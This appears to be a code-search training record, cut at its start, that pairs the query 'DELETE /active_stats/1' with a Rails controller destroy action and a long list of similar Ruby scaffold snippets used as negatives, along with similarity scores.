}\n end\n end\n end", "def update\n respond_to do |format|\n if @stat.update(stat_params)\n format.html { redirect_to @stat, notice: 'Stat was successfully updated.' }\n format.json { render :show, status: :ok, location: @stat }\n else\n format.html { render :edit }\n format.json { render json: @stat.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @base_objective.update(base_objective_params)\n head 200\n end\n end", "def update\n @active_status = ActiveStatus.find(params[:id])\n\n respond_to do |format|\n if @active_status.update_attributes(params[:active_status])\n flash[:notice] = 'ActiveStatus was successfully updated.'\n format.html { redirect_to(@active_status) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @active_status.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update_status(new_stat)\n\n attrs = ActionController::Parameters.new({status: new_stat, req_to_del_at: nil})\n self.update_attributes(attrs.permit(Team::PERMIT_BASE))\n end", "def create\n @backend_stat = Backend::Stat.new(params[:backend_stat])\n\n respond_to do |format|\n if @backend_stat.save\n Backend::Stat.update_all_cohorts\n \n format.html { redirect_to backend_stats_path, notice: 'Stat was successfully created.' }\n format.json { render json: @backend_stat, status: :created, location: @backend_stat }\n else\n format.html { redirect_to backend_stats_path, notice: 'Stat could not be created.' }\n format.json { render json: @backend_stat.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @task_stat = TaskStat.find(params[:id])\n\n respond_to do |format|\n if @task_stat.update_attributes(params[:task_stat])\n format.html { redirect_to @task_stat, notice: 'Task stat was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task_stat.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n metric.update_attributes(update_params)\n\n respond_with(metric)\n end", "def component_status_update(statuspage_id, component, container, details, current_status)\n request :method => :post,\n :url => @url + 'component/status/update',\n :payload => {\n 'statuspage_id' => statuspage_id,\n 'component' => component,\n 'container' => container,\n 'details' => details,\n 'current_status' => current_status\n }\n end", "def update\n @annual_stat = AnnualStat.find(params[:id])\n\n respond_to do |format|\n if @annual_stat.update_attributes(params[:annual_stat])\n format.html { redirect_to @annual_stat, notice: 'Annual stat was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @annual_stat.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n head :ok\n end", "def update\n respond_to do |format|\n if @active.update(active_params)\n format.html { redirect_to @active, notice: 'Active was successfully updated.' }\n format.json { render :show, status: :ok, location: @active }\n else\n format.html { render :edit }\n format.json { render json: @active.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @usage_status = UsageStatus.find(params[:id])\n\n respond_to do |format|\n if @usage_status.update_attributes(params[:usage_status])\n flash[:notice] = 'UsageStatus was successfully updated.'\n format.html { redirect_to(usage_statuses_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @usage_status.errors, :status => :unprocessable_entity }\n end\n end\n end", "def import_active_stats\n\n end", "def update!(**args)\n @action_metrics = args[:action_metrics] if args.key?(:action_metrics)\n @overall_metrics = args[:overall_metrics] if args.key?(:overall_metrics)\n end", "def update_status\n\t\tasset.update_attributes(:status => STATUS[\"Assigned\"])\n\tend", "def update_status\n\t\tasset.update_attributes(:status => STATUS[\"Assigned\"])\n\tend", "def update\n @daily_statistic = DailyStatistic.find(params[:id])\n\n if @daily_statistic.update(params[:daily_statistic])\n head :no_content\n else\n render json: @daily_statistic.errors, status: :unprocessable_entity\n end\n end", "def update!(**args)\n @query_stats = args[:query_stats] if args.key?(:query_stats)\n end", "def show\n @active_stat = ActiveStat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @active_stat }\n end\n end", "def update\n respond_to do |format|\n if @sub_stat.update(sub_stat_params)\n format.html { redirect_to @sub_stat, notice: 'Sub stat was successfully updated.' }\n format.json { render :show, status: :ok, location: @sub_stat }\n else\n format.html { render :edit }\n format.json { render json: @sub_stat.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @aggregate = Aggregate.find(params[:id])\n=begin\n keys = params[\"aggregate\"][\"metrics\"] \n\n metrics = @aggregate.metrics\n\n keys.each_value { |key|\n metric = Metric.find(:first, :conditions => [\"key = ?\", key])\n metrics << metric unless metrics.include? metric\n }\n=end\n\n respond_to do |format|\n if @aggregate.update_attributes(params[:aggregate])\n format.html { redirect_to(@aggregate, :notice => 'Aggregate was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @aggregate.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @counts = args[:counts] if args.key?(:counts)\n @instances = args[:instances] if args.key?(:instances)\n end", "def update\n @health.user_id = current_user\n @user = current_user\n @profile = current_user.profile\n respond_to do |format|\n if @health.update(health_params)\n format.html { redirect_to \"/dashboard\", notice: 'Health was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @health.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_stat\n @stat = Stat.find(params[:id])\n end", "def set_stat\n @stat = Stat.find(params[:id])\n end", "def set_stat\n @stat = Stat.find(params[:id])\n end", "def set_stat\n @stat = Stat.find(params[:id])\n end", "def set_stat\n @stat = Stat.find(params[:id])\n end", "def set_stat\n @stat = Stat.find(params[:id])\n end", "def set_stat\n @stat = Stat.find(params[:id])\n end", "def update\n @visit_stat = VisitStat.find(params[:id])\n\n respond_to do |format|\n if @visit_stat.update_attributes(params[:visit_stat])\n format.html { redirect_to([:scaffold, @visit_stat], :notice => 'Visit stat was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @visit_stat.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_stat\n @stat = Stat.find(params[:id])\n end", "def update\n @stat = Stat.find(params[:id])\n\n respond_to do |format|\n if @stat.update_attributes(params[:stat])\n format.html { redirect_to(@stat, :notice => 'Stat was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @stat.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @monitoring_stats = args[:monitoring_stats] if args.key?(:monitoring_stats)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n end", "def update_current_logged_in_user(args = {}) \n put(\"/users.json/current\", args)\nend", "def update\n @progress = Progress.find(params[:id])\n\n respond_to do |format|\n if @progress.update_attributes(params[:progress])\n format.json { head :no_content }\n else\n format.json { render json: @progress.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_stats!\n options = {\n biomes_explored: explore_all_biome_progress,\n leave_game: (stat.leave_game rescue 0),\n deaths: (stat.deaths rescue 0),\n mob_kills: (stat.mob_kills rescue 0),\n time_since_death: (stat.time_since_death rescue 0),\n player_kills: (stat.player_kills rescue 0),\n shall_update_stats: false\n }\n \n update_columns(options) if persisted? # no AR callbacks\n end", "def update\n respond_to do |format|\n if @analytics_used_analysable.update(analytics_used_analysable_params)\n format.html { redirect_to @analytics_used_analysable, notice: 'Analytics used analysable was successfully updated.' }\n format.json { render :show, status: :ok, location: @analytics_used_analysable }\n else\n format.html { render :edit }\n format.json { render json: @analytics_used_analysable.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @system_stat.update(system_stat_params)\n format.html { redirect_to @system_stat, notice: 'System stat was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @system_stat.errors, status: :unprocessable_entity }\n end\n end\n end", "def send_stats\n first_time = @prev_stat.empty?\n stats = build_request\n @stat.keys.each { |k| stats[k] = @stat[k] - @prev_stat[k] }\n @prev_stat.replace(@stat)\n # These should be reported as absolute values\n [:mt, :ma, :mc].each {|k| @prev_stat[k] = 0}\n return if first_time\n\n req = Net::HTTP::Post.new('/')\n req.set_form_data(stats)\n res = Net::HTTP.start(API, use_ssl: true) { |http| http.request(req) }\n unless res.is_a?(Net::HTTPOK)\n STDERR.puts \"Error sending stat: #{res.message}\"\n end\n res\n end", "def update_stats\r\n @stats.push(@fitness)\r\n end", "def change_status\n @user = User.find(params[:data])\n\n respond_to do |format|\n if @user.update_attributes(status: params[:status])\n format.json { render json: @user }\n else\n format.json { render json: @user.errors.messages, status: :unprocessable_entity }\n end\n end\n end", "def stats\n request :get, \"_stats\"\n end", "def stats\n request :get, \"_stats\"\n end", "def update\n @stat = Stat.find(params[:id])\n\n respond_to do |format|\n if @stat.update_attributes(params[:stat])\n flash[:notice] = 'Stat was successfully updated.'\n format.html { redirect_to(@person) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @stat.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @throughput_metric.user_id = current_user.id\n \n respond_to do |format|\n if @throughput_metric.update(throughput_metric_params)\n format.html { redirect_to @throughput_metric, notice: 'Throughput metric was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @throughput_metric.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @stage = Stage.find(params[:id])\n\n if @stage.update_attributes(params[:stage])\n head :no_content\n else\n format.json { render json: @stage.errors, status: :unprocessable_entity }\n end\n end", "def update!(**args)\n @total_actions = args[:total_actions] if args.key?(:total_actions)\n end", "def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def update!(**args)\n @status = args[:status] if args.key?(:status)\n end", "def update!(**args)\n @status = args[:status] if args.key?(:status)\n end", "def update!(**args)\n @status = args[:status] if args.key?(:status)\n end", "def update!(**args)\n @status = args[:status] if args.key?(:status)\n end", "def update!(**args)\n @status = args[:status] if args.key?(:status)\n end", "def update!(**args)\n @status = args[:status] if args.key?(:status)\n end", "def update\n @backend_tutorial_stat = Backend::TutorialStat.find(params[:id])\n\n respond_to do |format|\n if @backend_tutorial_stat.update_attributes(params[:backend_tutorial_stat])\n format.html { redirect_to @backend_tutorial_stat, notice: 'Tutorial stat was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @backend_tutorial_stat.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n \t\t\t\t\t@active = User.find(session[:user_id]).try :touch\n respond_to do |format|\n if @encounters_type.update(encounters_type_params)\n format.html { redirect_to @encounters_type, notice: 'Encounters type was successfully updated.' }\n format.json { render :show, status: :ok, location: @encounters_type }\n else\n format.html { render :edit }\n format.json { render json: @encounters_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_bgg_stats\n \nend", "def new\n @active_stat = ActiveStat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @active_stat }\n end\n end", "def active!\n self.update_attribute(:status, ACTIVE)\n end", "def metric_update(statuspage_id, metric_id, day_avg, day_start, day_dates, day_values,\n week_avg, week_start, week_dates, week_values,\n month_avg, month_start, month_dates, month_values)\n data = {}\n data['statuspage_id'] = statuspage_id\n data['metric_id'] = metric_id\n data['day_avg'] = day_avg\n data['day_start'] = day_start\n data['day_dates'] = day_dates\n data['day_values'] = day_values\n data['week_avg'] = week_avg\n data['week_start'] = week_start\n data['week_dates'] = week_dates\n data['week_values'] =week_values\n data['month_avg'] = month_avg\n data['month_start'] = month_start\n data['month_dates'] = month_dates\n data['month_values'] = month_values\n\n request :method => :post,\n :url => @url + 'metric/update',\n :payload => data\n end", "def update\n url = 'https://casa-core.herokuapp.com/api/units/' + params[:id]\n query = {\n 'name' => params[:name]\n }\n response = HTTParty.put(url, :query => query, :headers => { \"Authorization\" => AUTH, \"Host\" => HOST})\n\n if response.code == 200\n redirect_to unit_path(params[:id]), notice: 'Unit was successfully updated.'\n else\n redirect_to unit_path(params[:id]), notice: 'Sheesh! Minor hiccup...run that again!'\n end\n end", "def update\n respond_to do |format|\n if @current_statuses.update(current_statuses_params)\n format.html { redirect_to @current_statuses, notice: 'Current Statuses was successfully updated.' }\n format.json { render :show, status: :ok, location: @current_statuses }\n else\n format.html { render :edit }\n format.json { render json: @current_statuses.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @tw_stat.update(tw_stat_params)\n format.html { redirect_to @tw_stat, notice: 'Tw stat was successfully updated.' }\n format.json { render :show, status: :ok, location: @tw_stat }\n else\n format.html { render :edit }\n format.json { render json: @tw_stat.errors, status: :unprocessable_entity }\n end\n end\n end", "def increment(stats, sample_rate = 1)\n update_counter stats, 1, sample_rate\n end", "def increment(stats, sample_rate = 1)\n update_counter stats, 1, sample_rate\n end", "def update\n @stable = Stable.find(params[:id])\n\n respond_to do |format|\n if @stable.update_attributes(params[:stable])\n format.html { redirect_to @stable, notice: 'Stable was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stable.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.6262326", "0.62043226", "0.60624444", "0.6019305", "0.6009201", "0.5922534", "0.5922534", "0.5922534", "0.5922534", "0.5922534", "0.5922534", "0.5922534", "0.5922534", "0.5922534", "0.5922534", "0.5922534", "0.5922534", "0.5847465", "0.58171886", "0.58094674", "0.58012223", "0.5757649", "0.5757649", "0.57240015", "0.57022935", "0.56577516", "0.5654587", "0.56366783", "0.5627137", "0.558257", "0.558257", "0.558257", "0.558257", "0.558257", "0.55820894", "0.5581943", "0.5570497", "0.5548801", "0.55465966", "0.55391926", "0.5523659", "0.55234534", "0.551784", "0.55153984", "0.5512824", "0.55016685", "0.5477951", "0.54770017", "0.54770017", "0.54730725", "0.54724383", "0.54668117", "0.54664886", "0.5466314", "0.5457717", "0.54547083", "0.54406583", "0.54406583", "0.54406583", "0.54406583", "0.54406583", "0.54406583", "0.54406583", "0.54365873", "0.5419173", "0.5414492", "0.54140615", "0.5412808", "0.5411456", "0.53932357", "0.53835756", "0.535065", "0.5323313", "0.53219795", "0.53084725", "0.5303096", "0.5303096", "0.5298766", "0.52978116", "0.5295813", "0.52881795", "0.5279956", "0.52776504", "0.52776504", "0.52776504", "0.52776504", "0.52776504", "0.52776504", "0.5270666", "0.5269835", "0.5266522", "0.5264204", "0.52631193", "0.5249603", "0.5247504", "0.5240563", "0.52338845", "0.52336985", "0.52336985", "0.52322274" ]
0.6814571
0
DELETE /active_stats/1 DELETE /active_stats/1.json
def destroy @active_stat = ActiveStat.find(params[:id]) @active_stat.destroy respond_to do |format| format.html { redirect_to active_stats_url } format.json { head :ok } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @backend_stat = Backend::Stat.find(params[:id])\n @backend_stat.destroy\n\n respond_to do |format|\n format.html { redirect_to backend_stats_url }\n format.json { head :ok }\n end\n end", "def destroy\n @stat = Stat.find(params[:id])\n @stat.destroy\n\n respond_to do |format|\n format.html { redirect_to stats_url }\n format.json { head :ok }\n end\n end", "def destroy\n @stat = Stat.find(params[:id])\n @stat.destroy\n\n respond_to do |format|\n format.html { redirect_to stats_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @stat.destroy\n respond_to do |format|\n format.html { redirect_to stats_url, notice: 'Stat was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @stat.destroy\n respond_to do |format|\n format.html { redirect_to stats_url, notice: 'Stat was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @stat.destroy\n respond_to do |format|\n format.html { redirect_to stats_url, notice: 'Stat was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @stat.destroy\n respond_to do |format|\n format.html { redirect_to stats_url, notice: 'Stat was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @stat.destroy\n respond_to do |format|\n format.html { redirect_to stats_url, notice: 'Stat was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @visit_stat = VisitStat.find(params[:id])\n @visit_stat.destroy\n\n respond_to do |format|\n format.html { redirect_to(scaffold_visit_stats_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @stat.destroy\n\n head :no_content\n end", "def destroy\n @stat = Stat.find(params[:id])\n @stat.destroy\n\n respond_to do |format|\n format.html { redirect_to(stats_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @stat = Stat.find(params[:id])\n @stat.destroy\n\n respond_to do |format|\n format.html { redirect_to(stats_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @sub_stat.destroy\n respond_to do |format|\n format.html { redirect_to sub_stats_url, notice: 'Sub stat was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @statistic.destroy\n respond_to do |format|\n format.html { redirect_to statistics_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @task_stat = TaskStat.find(params[:id])\n @task_stat.destroy\n\n respond_to do |format|\n format.html { redirect_to task_stats_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @stat.destroy\n respond_to do |format|\n format.html { redirect_to stats_url, notice: 'Stat was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @system_stat.destroy\n respond_to do |format|\n format.html { redirect_to system_stats_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @health.destroy\n respond_to do |format|\n format.html { redirect_to \"/dashboard\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @delinquency_stat.destroy\n respond_to do |format|\n format.html { redirect_to delinquency_stats_url, notice: 'Delinquency stat was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @group_stat = GroupStat.find(params[:id])\n @group_stat.destroy\n\n respond_to do |format|\n format.html { redirect_to group_stats_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @fixturestat = Fixturestat.find(params[:id])\n @fixturestat.destroy\n\n respond_to do |format|\n format.html { redirect_to fixturestats_url }\n format.json { head :no_content }\n end\n end", "def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end", "def destroy\n @test_team_stat.destroy\n respond_to do |format|\n format.html { redirect_to test_team_stats_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @match_stat = MatchStat.find(params[:id])\n @match_stat.destroy\n\n respond_to do |format|\n format.html { redirect_to match_stats_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @backend_tutorial_stat = Backend::TutorialStat.find(params[:id])\n @backend_tutorial_stat.destroy\n\n respond_to do |format|\n format.html { redirect_to backend_tutorial_stats_url }\n format.json { head :ok }\n end\n end", "def destroy\n @tstat = Tstat.find(params[:id])\n @tstat.destroy\n\n respond_to do |format|\n format.html { redirect_to(tstats_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @statistic.destroy\n respond_to do |format|\n format.html { redirect_to statistics_url, notice: 'Statistic was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @statistic.destroy\n respond_to do |format|\n format.html { redirect_to statistics_url, notice: 'Statistic was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @statistic.destroy\n respond_to do |format|\n format.html { redirect_to statistics_url, notice: 'Statistic was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @statistic.destroy\n respond_to do |format|\n format.html { redirect_to statistics_url, notice: 'Statistic was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @annual_stat = AnnualStat.find(params[:id])\n @annual_stat.destroy\n\n respond_to do |format|\n format.html { redirect_to annual_stats_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @gateway_stat.destroy\n respond_to do |format|\n format.html { redirect_to gateway_stats_url, notice: 'Gateway stat was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @tw_stat.destroy\n respond_to do |format|\n format.html { redirect_to tw_stats_url, notice: 'Tw stat was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @p_stat = PStat.find(params[:id])\n @p_stat.destroy\n\n respond_to do |format|\n format.html { redirect_to(p_stats_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @metric = Metric.find(params[:id])\n @metric.destroy\n\n head :no_content\n end", "def delete_stats(service_id, _delete_job)\n api_delete({}, uri: \"#{service_uri(service_id)}/stats\", prefix: '')\n end", "def destroy\n @admin_sub_metric.destroy\n respond_to do |format|\n format.html { redirect_to admin_sub_metrics_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @daily_statistic = DailyStatistic.find(params[:id])\n @daily_statistic.destroy\n\n head :no_content\n end", "def destroy\n @stat_misc = StatMisc.find(params[:id])\n @stat_misc.destroy\n\n respond_to do |format|\n format.html { redirect_to stat_miscs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @game_stat = GameStat.find(params[:id])\n @game_stat.destroy\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end", "def destroy\n @throughput_metric.destroy\n respond_to do |format|\n format.html { redirect_to throughput_metrics_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @usage_status = UsageStatus.find(params[:id])\n @usage_status.destroy\n\n respond_to do |format|\n format.html { redirect_to(usage_statuses_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @teamstat.destroy\n respond_to do |format|\n format.html { redirect_to teamstats_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @runstat.destroy\n respond_to do |format|\n format.html { redirect_to runstats_url, notice: 'Runstat was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @user_reserve_stat.destroy\n\n respond_to do |format|\n format.html { redirect_to user_reserve_stats_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user_checkout_stat.destroy\n\n respond_to do |format|\n format.html { redirect_to user_checkout_stats_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @manifestation_checkout_stat.destroy\n\n respond_to do |format|\n format.html { redirect_to(manifestation_checkout_stats_url) }\n format.json { head :no_content }\n end\n end", "def incident_delete(statuspage_id, incident_id)\n data = {}\n data['statuspage_id'] = statuspage_id\n data['incident_id'] = incident_id\n\n request :method => :post,\n :url => @url + 'incident/delete',\n :payload => data\n end", "def destroy\n @state_statistic.destroy\n respond_to do |format|\n format.html { redirect_to state_statistics_url, notice: 'State statistic was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @statsupdater.destroy\n respond_to do |format|\n format.html { redirect_to statsupdaters_url, notice: 'Statsupdater was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @status = Status.find(params[:id])\n @status.destroy\n\n respond_to do |format|\n format.html { redirect_to(statuss_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @dashboard = Dashboard.find(params[:id])\n @dashboard.destroy\n\n respond_to do |format|\n format.html { redirect_to dashboards_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @analytics_used_analysable.destroy\n respond_to do |format|\n format.html { redirect_to analytics_used_analysables_url, notice: 'Analytics used analysable was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @healthrecord = Healthrecord.find(params[:id])\n @healthrecord.destroy\n\n respond_to do |format|\n format.html { redirect_to indexhealthrecord_path(current_member) }\n format.json { head :no_content }\n end\n end", "def destroy\n @flightstat.destroy\n respond_to do |format|\n format.html { redirect_to flightstats_url, notice: 'Flightstat was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @user_reported_statistic = UserReportedStatistic.find(params[:id])\n @user_reported_statistic.destroy\n\n respond_to do |format|\n format.html { redirect_to user_reported_statistics_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @dashboard.destroy\n respond_to do |format|\n format.html { redirect_to dashboards_url }\n format.json { head :no_content }\n end\n end", "def destroy\n authorize! :manage, @vspec\n metric = @vspec.metric\n @vspec.destroy\n respond_to do |format|\n format.html { redirect_to [metric.service, metric] }\n format.json { head :no_content }\n end\n end", "def destroy\n @health.destroy\n respond_to do |format|\n format.html { redirect_to healths_url, notice: 'Health was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end", "def destroy\n @provider_stat = ProviderStat.find(params[:id])\n @provider_stat.destroy\n\n respond_to do |format|\n format.html { redirect_to(provider_stats_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @metric_speedtest.destroy\n respond_to do |format|\n format.html { redirect_to metric_speedtests_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @player_game_stat = PlayerGameStat.find(params[:id])\n @player_game_stat.destroy\n\n respond_to do |format|\n format.html { redirect_to player_game_stats_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @active_status = ActiveStatus.find(params[:id])\n @active_status.destroy\n\n respond_to do |format|\n format.html { redirect_to(active_statuses_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @status.destroy\n respond_to do |format|\n format.html { redirect_to statuses_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @health_record.destroy\n respond_to do |format|\n format.html { redirect_to health_records_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @health_status.destroy\n respond_to do |format|\n format.html { redirect_to health_statuses_url, notice: 'Health status was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @bookmark_stat.destroy\n\n respond_to do |format|\n format.html { redirect_to bookmark_stats_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @manifestation_reserve_stat.destroy\n\n respond_to do |format|\n format.html { redirect_to manifestation_reserve_stats_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @career_stat.destroy\n respond_to do |format|\n format.html { redirect_to career_stats_url, notice: 'Career stat was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @store_manager_statistic = Store::Manager::Statistic.find(params[:id])\n @store_manager_statistic.destroy\n\n respond_to do |format|\n format.html { redirect_to store_manager_statistics_url }\n format.json { head :no_content }\n end\n end", "def destroy\n Audit.find(params[:id]).destroy\n head :no_content\n end", "def destroy\n @status_activity.destroy\n respond_to do |format|\n format.html { redirect_to status_activities_url, notice: 'Status activity was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n @health_level.destroy\n\n respond_to do |format|\n format.html { redirect_to health_levels_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @reqstatus.destroy\n respond_to do |format|\n format.html { redirect_to reqstatuses_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @heartbeat = Heartbeat.find(params[:id])\n @heartbeat.destroy\n\n respond_to do |format|\n format.html { redirect_to heartbeats_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @status = Status.find(params[:id])\n @status.destroy\n\n respond_to do |format|\n format.html { redirect_to profile_path(current_user) }\n format.json { head :no_content }\n end\n end", "def destroy\n @quest_stat.destroy\n respond_to do |format|\n format.html { redirect_to quest_stats_url, notice: 'Quest stat was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete!( opts = {} )\n http_action :delete, nil, opts\n end", "def destroy\n @status_ativ = StatusAtiv.find(params[:id])\n @status_ativ.destroy\n\n respond_to do |format|\n format.html { redirect_to status_ativs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @api_v1_progress.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_progresses_url, notice: 'Progress was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @player_statistic = PlayerStatistic.find(params[:id])\n @player_statistic.destroy\n\n respond_to do |format|\n format.html { redirect_to player_statistics_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @health_record = HealthRecord.find(params[:id])\n @health_record.destroy\n\n respond_to do |format|\n format.html { redirect_to health_records_url }\n format.json { head :no_content }\n end\n end", "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def destroy\n @threshold = Threshold.find(params[:id])\n @threshold.destroy\n\n respond_to do |format|\n format.html { redirect_to thresholds_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @sa_request_status.destroy\n respond_to do |format|\n format.html { redirect_to sa_request_statuses_url, notice: 'Sa request status was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @request_status = RequestStatus.find(params[:id])\n @request_status.destroy\n\n respond_to do |format|\n format.html { redirect_to request_statuses_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @task_metric = TaskMetric.find(params[:id])\n @task_metric.destroy\n\n respond_to do |format|\n format.html { redirect_to task_metrics_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @metric_type = MetricType.find(params[:id])\n @metric_type.destroy\n\n respond_to do |format|\n format.html { redirect_to metric_types_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @dashboard = Dashboard.find(params[:id])\n @dashboard.destroy\n\n respond_to do |format|\n format.html { redirect_to(dashboards_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @usage.destroy\n respond_to do |format|\n format.html { redirect_to usages_url }\n format.json { head :no_content }\n end\n end", "def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend", "def destroy\n @kf_status = Kf::Status.find(params[:id])\n @kf_status.destroy\n\n respond_to do |format|\n format.html { redirect_to \"/kf/statuses?page=#{params[:page]}&relation_id=#{params[:relation_id]}&status_type=#{params[:status_type]}&count_type=#{params[:count_type]}\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @data_dashboard.destroy\n respond_to do |format|\n format.html { redirect_to data_dashboards_url, notice: 'Data dashboard was successfully destroyed.' }\n 